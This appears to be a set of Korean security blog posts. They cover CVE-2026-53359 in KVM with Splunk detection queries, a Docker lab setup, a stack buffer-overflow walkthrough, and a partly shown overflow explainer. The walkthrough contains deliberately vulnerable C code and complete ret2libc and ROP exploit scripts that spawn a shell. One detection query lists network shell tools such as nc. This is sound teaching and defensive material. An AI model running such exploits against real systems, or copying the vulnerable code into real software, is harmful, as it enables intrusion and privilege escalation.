1. 취약점 설명

Linux KVM 하이퍼바이저의 shadow MMU 코드에 2010년부터 16년간 숨어있던 Use-After-Free 취약점. 게스트 VM 안에서 호스트 커널 메모리를 손상시켜 호스트 전체를 장악할 수 있다. Intel과 AMD x86 모두 영향을 받으며, 공개된 PoC만으로도 호스트 커널 패닉(DoS)이 발생한다. 완전한 게스트-호스트 탈출 익스플로잇은 미공개 상태지만 연구자가 보유 중이라고 밝혔다.

2. 취약점 개요

항목	내용
CVE 번호	CVE-2026-53359
별칭	Januscape
CVSS	미할당 (Critical 수준으로 평가)
CWE	CWE-416 (Use After Free)
발표일	2026년 7월 6일
영향 제품	Linux Kernel KVM (x86, Intel/AMD)
취약 버전	커밋 2032a93d66fa (2010.08) ~ 81ccda30b4e8 (2026.06)
패치 버전	7.1.3, 6.18.38, 6.12.95, 6.6.144, 6.1.177, 5.15.211, 5.10.260
발견자	Hyunwoo Kim (@v4bel), Google kvmCTF 제출

Use-After-Free(UAF)란?
프로그램이 메모리를 해제(free)한 후에도 해당 주소를 계속 참조(use)하는 취약점. 해제된 메모리에 공격자가 원하는 데이터를 심으면 프로그램 실행 흐름을 조작할 수 있다.

KVM이란?
Linux 커널에 내장된 하이퍼바이저. AWS, GCP 같은 클라우드 환경에서 VM을 실행하는 데 사용된다. KVM 위에서 여러 VM이 동시에 실행되며 서로 격리되어 있어야 하는데, 이 격리가 이번 취약점으로 무너진다.

호스트 vs 게스트:
호스트 = 실제 물리 서버 (진짜 하드웨어가 있는 컴퓨터)
게스트 = 호스트 위에서 실행되는 가상 컴퓨터(VM)
AWS에서 EC2 인스턴스를 임대하면 데이터센터 물리 서버가 호스트이고 우리가 쓰는 인스턴스가 게스트다. 하나의 호스트 위에 여러 게스트가 동시에 실행되며 원래는 서로 접근이 불가능해야 한다. 이 취약점은 게스트에서 호스트로 탈출하는 것이 핵심이다.

3. 익스플로잇 방식

shadow MMU가 뭔지

KVM이 VM을 실행할 때 게스트의 메모리 주소를 호스트 실제 메모리 주소로 변환해야 한다. Intel EPT나 AMD NPT 같은 하드웨어 지원이 있으면 CPU가 직접 처리하지만, 중첩 가상화(nested virtualization)가 켜지는 순간 KVM이 소프트웨어로 직접 shadow page table을 관리한다. 이 코드가 취약점의 무대다.

EPT / NPT란?
EPT(Extended Page Table) = Intel CPU 내장 기능, NPT(Nested Page Table) = AMD CPU 내장 기능. 둘 다 같은 역할로, 게스트 메모리 주소를 호스트 실제 메모리 주소로 변환하는 작업을 CPU가 하드웨어 레벨에서 처리해준다. 이름만 다르고 하는 일은 동일하다.

중첩 가상화(nested virtualization)란?
VM 안에서 또 VM을 실행하는 것. 클라우드에서 가상화 테스트 환경을 구성하거나 클라우드 서비스 자체를 구축할 때 필요하다. 중첩 가상화가 켜지는 순간 하드웨어(EPT/NPT)만으로는 주소 변환이 불가능해서 KVM이 소프트웨어로 직접 shadow page table을 관리해야 하는데, 이 코드 안에 취약점이 있다.

GFN vs role:
GFN(Guest Frame Number) = 게스트 메모리 페이지 번호. 메모리를 4KB 단위로 나눠 관리할 때 각 페이지의 번호표. role = shadow page가 어떤 용도인지 나타내는 속성값. 같은 GFN이라도 role이 다르면 완전히 다른 용도의 shadow page다. 취약한 코드는 GFN만 같으면 재사용했고, 패치 후에는 GFN과 role 둘 다 일치해야 재사용하도록 수정됐다.

공격 흐름:

1. 공격자가 클라우드에서 VM 인스턴스 하나를 임대
   (기본적으로 VM 안에서 root 권한 보유)

2. 호스트에서 중첩 가상화가 활성화된 것을 확인

3. 게스트 안에서 PDE(Page Directory Entry) 매핑을 조작
   → KVM이 shadow page를 재사용할 때
     GFN(guest frame number)만 비교하고 role을 비교하지 않는 버그 트리거

4. KVM이 이미 해제된 kvm_mmu_page 구조체를 계속 참조
   → Use-After-Free 발생

5. 해제된 메모리에 대한 접근으로 호스트 커널 메모리 손상
   → 호스트 커널 패닉(DoS) 또는 호스트에서 root 권한 코드 실행(RCE)

왜 취약하냐면:

// 취약한 코드 (kvm_mmu_get_child_sp())
// GFN만 비교하고 role은 확인하지 않음
if (sp->gfn == gfn)
    return sp;  // role이 달라도 그냥 재사용

// 패치 후 (단 한 줄 추가)
if (sp->gfn == gfn && sp->role.word == role.word)
    return sp;  // GFN + role 모두 일치해야 재사용

16년간 존재했던 취약점이 단 한 줄의 조건 추가로 패치됐다.

이 취약점이 특히 위험한 이유:
공개 클라우드에서 VM을 임대하면 기본적으로 VM 안에서 root 권한을 갖는다. 중첩 가상화가 허용된 환경이면 추가 권한 없이 바로 공격이 가능하다. VM 하나를 임대해서 같은 물리 서버에 올라간 다른 모든 VM을 다운시키거나 탈취할 수 있는 셈이다.

4. 어디서 흔적이 남는가 (로그 소스 매핑)

이 취약점은 하이퍼바이저 커널 내부에서 발생하기 때문에 탐지가 매우 어렵다. 직접적인 공격 흔적보다 공격 전후 행위 패턴을 탐지하는 접근이 현실적이다.

로그 소스	탐지 가능한 흔적
Linux 커널 로그 (syslog/dmesg)	KVM 관련 커널 패닉, BUG/WARN 메시지
auditd 로그	/dev/kvm 접근, 중첩 가상화 관련 ioctl 호출
VM 관리 로그 (libvirt, QEMU)	비정상적인 VM 생성/종료 패턴
호스트 시스템 로그	비정상적인 권한 상승, 프로세스 생성
네트워크 로그	VM 탈출 후 호스트에서 비정상 아웃바운드 연결

⚠️ 탐지의 핵심 어려움
공격이 커널 메모리 수준에서 발생하기 때문에 EDR이나 일반 로그로는 공격 자체를 직접 탐지하기 어렵다. 커널 패닉 발생 여부, /dev/kvm 비정상 접근, 중첩 가상화 활성화 여부를 모니터링하는 것이 현실적인 접근이다.

5. SPL 탐지 쿼리

기본형: /dev/kvm 비정상 접근 탐지

index=linux_audit OR index=syslog
| search (path="/dev/kvm" OR syscall="ioctl")
| where user!="root" AND user!="libvirt-qemu"
| stats count as access_count by user, src_host, path
| where access_count > 5
| sort -access_count

쿼리 설명:

/dev/kvm은 root 또는 가상화 관련 계정만 접근해야 정상이다
일반 사용자가 /dev/kvm에 접근하거나 ioctl을 호출하면 로컬 권한 상승 시도로 볼 수 있다
user!="root" AND user!="libvirt-qemu" 로 정상 접근을 걸러내고 비정상만 추출

왜 root를 제외하는데 권한 상승이 나오냐면:
이 취약점의 공격 경로는 두 가지다. 첫 번째는 VM 안에서 호스트를 탈출하는 경로로, VM을 임대하면 기본으로 root 권한이 있어서 권한 상승이 필요 없다. 두 번째는 호스트에 일반 유저로 접근한 공격자가 /dev/kvm을 직접 열어 취약점을 트리거하는 로컬 권한 상승 경로다. 기본형 쿼리는 이 두 번째 경로를 탐지하는 것이고, 첫 번째 경로(게스트→호스트 탈출)는 개선형 쿼리(커널 오류 + 의심 프로세스 연계)로 탐지한다.

syscall이란?
프로그램이 OS 커널에게 작업을 요청하는 인터페이스. 파일 읽기, 프로세스 생성, 네트워크 연결 같은 작업은 반드시 커널을 통해야 하고, 이 요청이 syscall이다. auditd는 이 syscall 호출을 기록하기 때문에 공격자가 호스트에서 어떤 프로세스를 실행했는지 추적할 수 있다.

exe 필드란?
auditd 로그에서 실행된 프로그램의 전체 경로를 담는 필드. 예: exe="/bin/bash". 환경마다 필드명이 다를 수 있으므로 실제 적용 전 자사 auditd 로그의 필드명을 먼저 확인해야 한다.

⚠️ 주의: RHEL 계열에서는 기본적으로 /dev/kvm이 0666(누구나 접근 가능)으로 설정되어 있어 오탐이 많을 수 있다. 자사 환경의 /dev/kvm 권한 설정을 먼저 확인할 것.

개선형: 커널 KVM 오류 발생 + 이후 비정상 프로세스 연계 탐지

index=syslog OR index=linux_logs
| search ("kernel: BUG" OR "kernel: WARNING" OR "kvm_mmu" OR "use-after-free" OR "pte_list")
| eval suspicious=if(match(_raw, "(kvm_mmu|shadow|sptep|rmap|pte_list)"), 1, 0)
| where suspicious=1
| stats count as kvm_error_count by host, _time span=10m
| where kvm_error_count > 3
| join type=left host
    [search index=linux_audit
     | where syscall IN ("execve", "fork", "clone")
     | eval suspicious_proc=if(match(exe, "(bash|sh|python|perl|nc|ncat)"), 1, 0)
     | where suspicious_proc=1
     | stats count as suspicious_proc_count by host]
| where isnotnull(suspicious_proc_count)
| table host, kvm_error_count, suspicious_proc_count

쿼리 설명:

KVM 메모리 관련 커널 오류(BUG, WARNING, kvm_mmu 등)가 발생한 호스트를 1차 필터링
해당 호스트에서 이후 의심 프로세스(bash, nc 등)가 실행되면 VM 탈출 후 공격자가 호스트에서 명령을 실행하는 패턴으로 볼 수 있다
join으로 커널 오류 로그와 audit 로그를 연계해 공격 전후 흐름을 한번에 포착

⚠️ 인덱스명 안내: syslog, linux_audit, linux_logs 는 예시다. 실제 환경의 인덱스명으로 변경 후 사용할 것. 확인 방법: Splunk 검색창에 | eventcount summarize=false 입력.

중첩 가상화 활성화 여부 확인

index=linux_logs OR index=syslog
| search ("kvm_intel" OR "kvm_amd")
| search ("nested=1" OR "nested_virtualization" OR "vmx=1")
| stats count by host, _raw
| table host, _raw

쿼리 설명:

호스트에서 중첩 가상화가 활성화된 경우를 탐지한다
중첩 가상화가 불필요한 환경에서 이 옵션이 켜져 있다면 즉시 비활성화를 권고한다
이 쿼리는 공격 탐지보다는 취약한 환경인지 파악하는 용도로 활용하는 게 맞다

6. 오탐지 줄이는 팁

/dev/kvm 권한 확인: RHEL, CentOS 계열은 기본적으로 /dev/kvm이 누구나 접근 가능(0666)하게 설정되어 있어 오탐이 많다. 화이트리스트를 정교하게 관리하거나 권한 자체를 0660으로 변경하는 게 근본적인 해결책
KVM 관련 커널 오류: 가상화 환경에서 KVM 관련 로그는 정상적으로도 발생할 수 있다. 임계값을 환경에 맞게 조정하고 평소 베이스라인을 잡아두는 게 중요
의심 프로세스: bash, sh는 일반 운영에서도 자주 실행된다. KVM 오류 발생 직후(10분 이내) 실행된 경우로 시간 조건을 좁혀야 오탐을 줄일 수 있다

7. 임시 대응 / 패치 정보

패치 적용:

커널 버전	패치 적용 버전
6.1.x	6.1.177 이상
6.6.x	6.6.144 이상
6.12.x	6.12.95 이상
6.18.x	6.18.38 이상
7.1.x	7.1.3 이상

즉시 적용 가능한 완화 조치:

1. 중첩 가상화 비활성화 (패치 전 가장 효과적인 완화)

bash

# Intel
modprobe kvm_intel nested=0

# AMD
modprobe kvm_amd nested=0

2. /dev/kvm 권한 강화 (로컬 권한 상승 경로 차단)

bash

chmod 0660 /dev/kvm
chown root:kvm /dev/kvm

3. 신뢰할 수 없는 게스트 VM 실행 제한 (패치 배포 전까지)

⚠️ 배포판별 패치 확인 방법: 업스트림 커널 버전만으로 패치 여부를 판단하면 안 된다. 배포판마다 백포트 버전이 다르므로 자사 배포판의 보안 트래커에서 직접 확인해야 한다.

Debian: DSA-6381-1 (7월 5일 패치 완료)

Ubuntu: ubuntu.com/security/CVE-2026-53359 확인

RHEL/CentOS: Red Hat CVE 페이지에서 RHSA 확인

8. 마무리 / 한계점

이 SPL 쿼리의 한계:

공격이 커널 메모리 수준에서 발생해 직접 탐지가 불가능하고 간접 지표만 탐지 가능
커널 패닉이 발생하면 로그 자체가 유실될 수 있어 사후 분석이 어려움
완전한 VM 탈출 익스플로잇이 아직 미공개 상태라 실제 공격 패턴이 불확실
이 취약점이 16년간 발견되지 않은 이유는 하드웨어 가속(EPT/NPT)이 기본값이 되면서 shadow MMU 코드가 거의 실행되지 않았기 때문이다. 중첩 가상화가 활성화될 때만 실행되는 레거시 코드 경로는 보안 감사에서 놓치기 쉽다. 기본값이 아닌 코드 경로도 철저히 감사해야 한다는 점을 다시 한번 상기시켜주는 취약점이다.

더 나은 탐지 방법이나 실제 운영 환경에서의 개선점이 있다면 댓글로 공유해주세요.

참고 자료:

버퍼 오버플로우 실습 2편 - 32비트/64비트 익스플로잇 과정

y0.0ns — Wed, 8 Jul 2026 12:37:18 +0900

1. 들어가며

환경 구성이 끝났으니 이제 본격적으로 실습을 진행했다. 처음엔 단순히 오버플로우만 발생시키면 되는 줄 알았는데 null byte 문제, 스택 정렬 문제 등 생각보다 막히는 부분이 많았다. 32비트는 비교적 수월했는데 64비트로 넘어가면서 ROP 가젯이라는 개념까지 등장했다. 삽질한 과정도 그대로 담았으니 같은 오류를 만난다면 참고가 됐으면 한다.

환경 구성 글: 버퍼 오버플로우 실습 1편 - 환경 구성

2. 컨테이너 접속 및 ASLR 비활성화

1편에서 만든 컨테이너를 다시 시작하고 접속한다.

docker start bof_practice
docker exec -it bof_practice /bin/bash

접속 후 ASLR이 꺼져 있는지 먼저 확인한다. 컨테이너를 재시작하면 ASLR이 다시 켜지는 경우가 있어서 매번 확인하는 게 좋다.

cat /proc/sys/kernel/randomize_va_space

0이 아니면 다시 비활성화한다.

echo 0 > /proc/sys/kernel/randomize_va_space

3. 취약한 C 코드 작성

cat > vuln.c << 'EOF'
#include <stdio.h>
#include <string.h>

void vulnerable(char *input) {
    char buffer[64];
    memcpy(buffer, input, strlen(input));
    printf("input: %s\n", buffer);
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("usage: ./vuln <input>\n");
        return 1;
    }
    vulnerable(argv[1]);
    return 0;
}
EOF

⚠️ vim으로 작성하면 한글 주석이 깨지는 문제가 있어서 cat > file << 'EOF' 방식으로 파일을 생성했다.

취약점 포인트:

memcpy(buffer, input, strlen(input));
→ buffer 크기(64바이트)를 검증하지 않고
  input 크기만큼 무조건 복사
→ 64바이트 초과 시 오버플로우 발생

4. 32비트 익스플로잇

4-1. 32비트로 컴파일

gcc -o vuln vuln.c \
    -m32 \
    -fno-stack-protector \
    -z execstack \
    -no-pie

보호 기법 비활성화 옵션:

옵션	비활성화하는 보호 기법	설명
-m32	-	32비트로 컴파일
-fno-stack-protector	스택 카나리	오버플로우 감지 기능
-z execstack	DEP/NX	스택에서 코드 실행 차단
-no-pie	PIE	코드 주소 랜덤화

⚠️ 이 옵션들은 실습 목적으로 보호 기법을 끄는 것이다. 실제 운영 환경에서는 절대 사용하지 않는다.

4-2. 오버플로우 발생 확인

./vuln $(python3 -c "print('A' * 100)")

출력:

input: AAAAAAAAAA...
Segmentation fault (core dumped)

A 100개를 넣으면 buffer(64바이트)를 초과해서 옆 메모리(RBP, Return Address)를 덮어씌우고 프로그램이 종료된다.

4-3. GDB로 오프셋 찾기

오프셋 = buffer 시작부터 Return Address까지의 거리(바이트 수)

gdb ./vuln
break vulnerable
run $(python3 -c "print('A'*76 + 'B'*4 + 'C'*4)")
continue
info registers ebp eip

결과:

ebp = 0x41414141  <- A로 덮어씌워짐
eip = 0x42424242  <- B로 덮어씌워짐 (Return Address 위치)

오프셋 = 76바이트 (A 76개)
-> 그 다음 4바이트가 Return Address

ebp, eip가 뭔지:
ebp = 현재 함수 스택 프레임 기준점 (32비트)
eip = 다음에 실행할 명령어 주소 (32비트)
64비트에서는 rbp, rip로 불린다.

4-4. system, /bin/sh 주소 찾기

GDB 안에서 주소를 확인한다. 프로그램이 실행된 상태에서만 메모리에 올라온 주소를 확인할 수 있다.

print system
find &system, +9999999, "/bin/sh"

결과:

system  = 0xf7e16360
/bin/sh = 0xf7f61363

왜 이 주소들이 필요하냐면:
system 함수는 Ubuntu OS가 제공하는 libc 라이브러리 안에 있다.
system("/bin/sh") 를 호출하면 쉘이 실행되는데
Return Address를 system 주소로 덮어쓰면
함수 종료 시 system으로 점프하고
/bin/sh 주소를 인자로 전달하면 쉘이 실행된다.

4-5. 32비트 익스플로잇 실행

quit로 gdb 종료 후 익스플로잇 코드 작성, 실행

cat > exploit.py << 'EOF'
import struct
from pwn import *

context.arch = 'i386'

payload = b'A' * 76
payload += struct.pack('<I', 0xf7e16360)  # system 주소
payload += b'BBBB'                         # 더미 (system 종료 후 복귀 주소)
payload += struct.pack('<I', 0xf7f61363)  # /bin/sh 주소

p = process(['./vuln', payload.decode('latin-1')])
p.interactive()
EOF

python3 exploit.py

32비트 페이로드 구조:

A * 76           : buffer(64) + EBP(8) + 추가(4) 채우기
system 주소(4)   : Return Address = system 함수로 점프
BBBB(4)          : system 종료 후 복귀 주소 (더미)
/bin/sh 주소(4)  : system 함수 인자

32비트는 함수 인자를 스택으로 전달한다.
system 주소 다음에 /bin/sh 주소를 스택에 넣으면
system 함수가 스택에서 인자를 읽어온다.

결과:

$ whoami
root

4-6. 실습 중 마주친 오류

오류 1: null byte 문제

[ERROR] Inappropriate nulls in argv[1]

64비트 주소에는 \x00\x00 이 포함되어 있어서 argv로 전달 시 bash가 잘라버린다. 32비트 주소는 null byte가 없는 경우가 많아서 argv 방식이 가능하다.

오류 2: 한글 깨짐
vim에서 한글이 깨져서 코드가 제대로 입력되지 않았다. cat > file << 'EOF' 방식으로 파일을 생성하고 주석을 영어로 작성해서 해결했다.

5. 64비트 익스플로잇

5-1. 64비트 코드 작성 및 컴파일

64비트는 argv로 null byte를 전달할 수 없어서 stdin으로 입력받는 코드를 사용한다.

cat > vuln64.c << 'EOF'
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void vulnerable() {
    char buffer[64];
    read(0, buffer, 200);
    printf("input received\n");
}

int main() {
    vulnerable();
    return 0;
}
EOF

gcc -o vuln64 vuln64.c \
    -fno-stack-protector \
    -z execstack \
    -no-pie

5-2. 오프셋 확인

64비트는 stdin으로 입력을 받기 때문에 파일로 만들어서 전달한다.

python3 -c "import sys; sys.stdout.buffer.write(b'A'*64 + b'B'*8 + b'C'*8)" > input.bin
gdb ./vuln64
break vulnerable
run < input.bin
continue
x/1gx $rsp

결과:

0x7fffffffe668: 0x4343434343434343  <- C로 덮어씌워짐

오프셋 = 64(buffer) + 8(RBP) = 72바이트

5-3. system, /bin/sh 주소 찾기

print system
find &system, +9999999, "/bin/sh"

결과:

system  = 0x7ffff7e20290
/bin/sh = 0x7ffff7f825bd

5-4. ROP 가젯 찾기

64비트는 함수 인자를 레지스터(rdi)로 전달해야 한다. 스택에 있는 값을 rdi로 옮겨주는 pop rdi 가젯이 필요하다.

ROPgadget --binary vuln64 | grep "pop rdi"
ROPgadget --binary vuln64 | grep ": ret"

결과:

pop rdi ; ret : 0x401203
ret           : 0x40101a

ROP 가젯이 뭔지:
프로그램 안에 이미 존재하는 짧은 명령어 조각.
이 조각들을 조합해서 원하는 동작을 만드는 기법을 ROP(Return Oriented Programming)라고 한다.

왜 ret 가젯이 필요하냐면:
64비트 system 함수는 스택이 16바이트로 정렬되어 있어야 실행된다.
ret 가젯을 하나 추가하면 RSP가 8바이트 이동하면서 정렬이 맞춰진다.

5-5. 64비트 익스플로잇 실행

cat > exploit64.py << 'EOF'
from pwn import *

context.arch = 'amd64'

payload = b'A' * 72
payload += p64(0x40101a)           # ret (스택 정렬)
payload += p64(0x401203)           # pop rdi ; ret
payload += p64(0x7ffff7f825bd)     # /bin/sh 주소 (rdi에 들어감)
payload += p64(0x7ffff7e20290)     # system 주소

p = process('./vuln64')
p.sendline(payload)
p.interactive()
EOF

python3 exploit64.py

64비트 페이로드 구조:

A * 72               : buffer(64) + RBP(8) 채우기
ret 주소(8)          : 스택 정렬 맞추기
pop rdi ; ret 주소(8): /bin/sh 주소를 rdi에 저장
/bin/sh 주소(8)      : rdi에 들어갈 값
system 주소(8)       : system("/bin/sh") 실행

실행 순서:

1. ret        -> RSP 이동 (스택 16바이트 정렬)
2. pop rdi    -> /bin/sh 주소를 rdi에 저장
3. ret        -> system 주소로 점프
4. system(rdi)= system("/bin/sh") 실행
5. 쉘 획득

결과:

$ whoami
root

5-6. 실습 중 마주친 오류

오류 1: SIGSEGV 발생

Process './vuln64' stopped with exit code -11 (SIGSEGV)

스택 정렬 문제로 system 함수 실행 시 SIGSEGV가 발생했다. ret 가젯을 추가해서 16바이트 정렬을 맞춰 해결했다.

오류 2: Got EOF while reading in interactive

[*] Got EOF while reading in interactive

stdin 방식에서 쉘이 뜨자마자 종료되는 문제가 발생했다. ROP 가젯으로 스택 정렬을 맞추고 나서 해결됐다.

6. 32비트 vs 64비트 차이 정리

	32비트	64비트
함수 인자 전달	스택으로 전달	레지스터(rdi)로 전달
Return Address 크기	4바이트	8바이트
null byte 문제	거의 없음	항상 존재
ROP 가젯 필요 여부	불필요	필요 (pop rdi, ret)
스택 정렬	불필요	16바이트 정렬 필요
페이로드 전달 방식	argv 가능	stdin 필요

7. 마무리

이번 실습에서 보호 기법을 모두 끈 상태에서 진행했는데, 실제 환경에서는 ASLR, 스택 카나리, DEP가 켜져 있어서 훨씬 복잡한 기법이 필요하다. 다음 실습에서는 보호 기법을 하나씩 켜면서 어떻게 막히는지, 그리고 각 보호 기법을 우회하는 방법을 다뤄볼 예정이다.

더 나은 방법이나 개선점이 있다면 댓글로 공유해주세요.

이 블로그의 관련 글:

참고 자료:

버퍼 오버플로우 실습 환경 구성 - Docker 설치부터 컨테이너 생성까지

y0.0ns — Wed, 8 Jul 2026 03:36:56 +0900

1. 들어가며

버퍼 오버플로우를 직접 실습해보고 싶었는데, 내 PC에 바로 설치하기엔 부담스러워서 Docker 컨테이너를 활용했다. 실습 환경 특성상 보호 기법을 비활성화해야 하는데, 컨테이너 안에서 하면 내 PC에 영향이 없어서 마음 편하게 진행할 수 있었다. Docker 설치부터 컨테이너 생성까지 막히는 부분이 꽤 있었는데 그 과정을 그대로 정리해봤다.

2. Docker가 뭔지

Docker = 컨테이너 기반 가상화 도구

컨테이너 = 내 PC 안에 독립된 가상 환경
           → 내 PC에 영향 없이 실습 가능
           → 망가지면 그냥 삭제하고 새로 만들면 됨

3. 사전 확인 - 가상화 활성화 여부

Docker 설치 전에 가상화가 활성화되어 있는지 확인해야 한다.

확인 방법:

작업관리자 열기 (Ctrl+Shift+Esc)
→ 성능 탭
→ CPU 선택
→ 우측 하단 "가상화: 사용" 확인

가상화가 비활성화되어 있으면 BIOS에서 Intel VT-x 또는 AMD-V를 활성화해야 한다.

4. WSL2 설치

Docker Desktop은 내부적으로 WSL2(Windows Subsystem for Linux)가 필요하다.

WSL2란?
윈도우 안에서 리눅스를 실행할 수 있게 해주는 기능. Docker가 내부적으로 리눅스 기반이라 WSL2가 필요하다.

PowerShell을 관리자 권한으로 실행 후 입력:

wsl --install

완료 후 재부팅 필수.

5. Docker Desktop 설치

공식 사이트에서 다운로드:

https://www.docker.com/products/docker-desktop/

CPU 종류별 다운로드 버전:

CPU	버전
Intel Core, AMD Ryzen	AMD64
퀄컴 스냅드래곤 (2024년 이후 일부 노트북)	ARM64

AMD64는 CPU 제조사 이름이 아니라 64비트 명령어 아키텍처 이름이다. Intel CPU도 같은 방식을 채택해서 Intel이든 AMD든 둘 다 AMD64를 사용한다.

설치 시 체크박스:

✅ Use WSL 2 instead of Hyper-V (반드시 체크)

Docker Subscription Service Agreement

Docker Desktop을 처음 실행하면 아래와 같은 구독 동의 화면이 뜬다.

개인 실습 목적이라면 Accept 를 누르면 무료로 사용 가능하다.

6. Docker 설치 확인

CMD를 새로 열고:

docker --version
docker run hello-world

정상 출력:

Hello from Docker!
This message shows that your installation appears to be working correctly.

7. 실습용 컨테이너 생성

버퍼 오버플로우 실습에는 ASLR을 비활성화할 수 있는 특권 모드 컨테이너가 필요하다.

docker run -it --privileged --name bof_practice ubuntu:20.04 /bin/bash

명령어 설명:

docker run     : 컨테이너 생성 및 실행
-it            : 터미널 입출력 활성화
--privileged   : 특권 모드 (ASLR 비활성화 가능)
--name bof_practice : 컨테이너 이름 지정
ubuntu:20.04   : Ubuntu 20.04 이미지 사용
/bin/bash      : bash 쉘 실행

실행 후 프롬프트가 아래처럼 바뀌면 컨테이너 안으로 들어온 것이다:

8. 필요한 도구 설치

apt-get update
apt-get install -y gcc gdb python3 python3-pip vim gcc-multilib
pip3 install pwntools ROPgadget

설치 항목 설명:

gcc         : C언어 컴파일러
gdb         : 메모리 디버거
python3     : 익스플로잇 페이로드 생성
gcc-multilib: 32비트 컴파일 지원
pwntools    : 익스플로잇 전용 파이썬 라이브러리
ROPgadget   : ROP 가젯 검색 도구 (64비트 익스플로잇에 필요)

설치 완료 후 화면

9. ASLR 비활성화

echo 0 > /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space

0 이 출력되면 ASLR 비활성화 성공이다.

ASLR이란?
실행할 때마다 메모리 주소를 랜덤으로 바꾸는 보안 기법. 실습에서는 주소를 고정시켜야 익스플로잇이 가능하므로 비활성화한다.

10. 컨테이너 재접속 방법

Docker Desktop을 껐다가 다시 실행할 때:

docker start bof_practice
docker exec -it bof_practice /bin/bash

⚠️ 컨테이너를 재시작하면 ASLR이 다시 활성화될 수 있으니 재접속 후 반드시 확인할 것.

11. 마무리

이제 버퍼 오버플로우 실습 환경이 준비됐다. 다음 글에서는 실제로 취약한 C 코드를 작성하고 32비트, 64비트 익스플로잇을 진행한다.

참고 자료:

CWE-121/122: 버퍼 오버플로우(Buffer Overflow) 완전 정리 - 개념부터 실무 탐지까지

y0.0ns — Tue, 7 Jul 2026 18:06:28 +0900

1. 이 글에서 다루는 것

보안 뉴스나 CVE 분석 글을 읽다 보면 "버퍼 오버플로우(Buffer Overflow)" 라는 단어가 자주 등장한다. 실제로 CVSS 9.0 이상의 치명적 취약점 중 상당수가 이 유형에 해당한다. 이 글에서는 버퍼 오버플로우가 무엇인지, 왜 위험한지, 그리고 실무에서 어떻게 탐지할 수 있는지를 정리한다.

2. 버퍼 오버플로우란?

버퍼(Buffer)가 뭔지부터

버퍼란 프로그램이 데이터를 임시로 저장해두는 메모리 공간이다. 프로그램은 데이터를 처리하기 전에 일단 버퍼에 담아두고, 처리가 끝나면 비운다.

예시: DNS 응답을 받을 때
외부에서 DNS 응답 도착
        ↓
버퍼에 임시 저장 (크기: 512바이트로 미리 지정)
        ↓
프로그램이 버퍼에서 데이터를 꺼내 처리

오버플로우(Overflow)가 뭔지

오버플로우는 버퍼에 담을 수 있는 크기를 초과하는 데이터가 들어올 때 발생한다. 컵에 물이 넘치는 것과 같다.

버퍼 크기: 512바이트
들어온 데이터: 1024바이트

→ 512바이트를 초과한 512바이트가 버퍼 밖으로 넘쳐흐름
→ 버퍼 바로 옆에 있는 메모리 공간을 덮어씀

왜 위험하냐

버퍼 옆에는 프로그램이 "다음에 뭘 실행할지" 기억해두는 주소값(Return Address)이 저장되어 있다. 오버플로우로 이 주소를 덮어쓰면, 프로그램이 공격자가 원하는 코드를 실행하게 된다.

[정상 상태]
┌─────────────────────┐
│  데이터 저장 공간    │  ← 버퍼 (512바이트)
├─────────────────────┤
│  다음 실행 주소      │  ← 0x00401234 (정상 코드 주소)
│  (Return Address)   │
└─────────────────────┘

[오버플로우 발생 후]
┌─────────────────────┐
│  AAAAAAAAAAAAAAAA   │
│  AAAAAAAAAAAAAAAA   │  ← 버퍼를 초과한 데이터가 넘쳐흐름
│  AAAAAAAAAAAAAAAA   │
├─────────────────────┤
│  0xDEADBEEF         │  ← 정상 주소가 공격자 코드 주소로 덮어씌워짐
└─────────────────────┘
           ↓
프로그램이 다음 코드 실행을 위해 주소를 읽는 순간
공격자 코드로 점프

3. CWE 분류

버퍼 오버플로우는 발생하는 메모리 영역에 따라 두 가지로 나뉜다.

분류	CWE 번호	발생 위치	특징
스택 오버플로우	CWE-121	스택 메모리	함수 호출 시 생성되는 임시 메모리 영역에서 발생
힙 오버플로우	CWE-122	힙 메모리	프로그램 실행 중 동적으로 할당되는 메모리 영역에서 발생

스택 vs 힙 쉽게 구분하기

스택: 함수가 실행되는 동안만 쓰이는 임시 메모리. 함수가 끝나면 자동으로 사라짐

힙: 프로그램이 필요할 때 직접 할당하고 해제하는 메모리. 더 유연하지만 관리가 복잡함

4. 취약점의 근본 원인

버퍼 오버플로우의 근본 원인은 입력 데이터의 크기를 검증하지 않는 것이다.

// 취약한 코드 (크기 검증 없음)
memcpy(buffer, input_data, input_size);
// input_size가 buffer 크기를 초과해도 그냥 복사

// 안전한 코드 (크기 검증 있음)
if (input_size <= buffer_size) {
    memcpy(buffer, input_data, input_size);
} else {
    // 오류 처리하고 버림
}

단 한 줄의 크기 검증이 없어서 시스템 전체가 장악될 수 있는 취약점이 만들어진다.

5. 왜 백신으로 탐지가 어려운가 (파일리스 공격)

버퍼 오버플로우 기반 공격이 특히 위험한 이유 중 하나는 파일리스(Fileless) 공격이 가능하다는 점이다.

일반 악성코드 공격:
공격자 코드가 .exe 파일로 디스크에 저장됨
→ 백신이 파일 스캔 → 탐지 가능

버퍼 오버플로우 공격:
공격자 코드가 네트워크 패킷 안에 담겨
메모리에 직접 올라가서 실행됨
→ 디스크에 파일이 전혀 안 남음
→ 파일 기반 백신으로는 탐지 불가

따라서 버퍼 오버플로우 기반 공격을 방어하려면 파일 기반 백신 외에도 EDR(메모리 스캔), 네트워크 이상 탐지, SIEM 기반 행위 탐지를 병행해야 한다.

6. 실제 공격 흐름 예시

버퍼 오버플로우를 이용한 공격은 보통 아래 흐름으로 진행된다.

1. 공격자가 취약한 프로그램에 과도하게 큰 입력값 전송
   (네트워크 패킷, 파일, 사용자 입력 등)

2. 프로그램이 크기 검증 없이 버퍼에 저장 시도
   → 버퍼 오버플로우 발생

3. 인접 메모리(Return Address)가 공격자 코드 주소로 덮어씌워짐

4. 프로그램이 다음 실행 주소를 읽는 순간
   → 공격자 코드(셸코드)로 점프

5. 공격자 코드 실행
   → 백도어 설치, 권한 상승, 내부망 이동 등

7. SOC 실무에서의 탐지 접근

버퍼 오버플로우 공격은 메모리에서 발생하기 때문에 직접 탐지가 어렵다. 대신 공격 전후 행위 패턴을 SIEM에서 탐지하는 방식이 현실적이다.

탐지 포인트 1: 비정상적으로 큰 입력값

spl

index=network_logs
| eval input_size_kb=round(bytes/1024, 2)
| where input_size_kb > 100
| stats count as large_input_count by src_ip, dest_ip, dest_port
| where large_input_count > 5
| sort -large_input_count

